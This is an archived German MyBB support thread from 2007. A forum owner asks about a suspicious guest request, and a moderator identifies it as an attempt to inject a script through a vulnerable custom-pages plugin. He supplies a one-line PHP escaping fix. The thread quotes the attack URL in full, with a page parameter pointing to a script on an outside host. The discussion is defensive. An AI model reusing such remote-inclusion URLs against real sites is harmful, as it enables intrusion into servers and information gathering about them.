+- MyBB.de Forum (https://www.mybb.de/forum)
+-- Forum: Archiv (https://www.mybb.de/forum/forum-57.html)
+--- Forum: MyBB 1.2.x und älter (https://www.mybb.de/forum/forum-27.html)
+---- Forum: Allgemeiner Support (https://www.mybb.de/forum/forum-36.html)
+---- Thema: Was ist das? (/thread-7937.html)
Was ist das? - Homeboy05 - 05.12.2007
Gerade habe ich bei mir im Forum in die "Wer ist online?" Liste geschaut. Dort sehe ich einen Gast, der sich in einem unbekannten Ort aufhielt. Klickte man darauf, sah man das der User die URL http://www.pc-projekt.net/forum/pages.php?page=http://www.heatherlynn.net/n.c? ausgeführt hat. Ruft man nur die URL http://www.heatherlynn.net/n.c? kommen komische Texte. Kann mir jemand sagen was das zu bedeuten hat?
RE: Was ist das? - Michael - 05.12.2007
Da versucht jemand deinem Forum ein Skript unterzuschieben. Das ist (leider) nichts ungewöhnliches und passiert in diesem Forum tagtäglich. Die aufgerufene Datei pages.php gehört nicht zum MyBB selbst, ist das ein Mod?
RE: Was ist das? - Homeboy05 - 05.12.2007
Ja ist es. Custom-Pages Plugin:
http://mods.mybboard.net/view/custom-pages
RE: Was ist das? - Michael - 05.12.2007
Das Plugin beinhaltet eine Sicherheitslücke, die SQL-Injektion ermöglicht. Öffne die Datei pages.php und suche nach:
PHP-Code:
$page=$mybb->input['page'];
PHP-Code:
$page=$db->escape_string($mybb->input['page']);
Der Autor des Plugins wurde über die Sicherheitslücke informiert.
RE: Was ist das? - Homeboy05 - 05.12.2007
Danke Michael.
Was genau wird mit dem Skript eigentlich versucht? Und behebt die Code Änderung die Sicherheitslücke?
RE: Was ist das? - Michael - 05.12.2007
Homeboy05 schrieb:Was genau wird mit dem Skript eigentlich versucht?Es wird versucht diverse Informationen über das Serversystem zu ermitteln.
Homeboy05 schrieb:Und behebt die Code Änderung die Sicherheitslücke?Ja.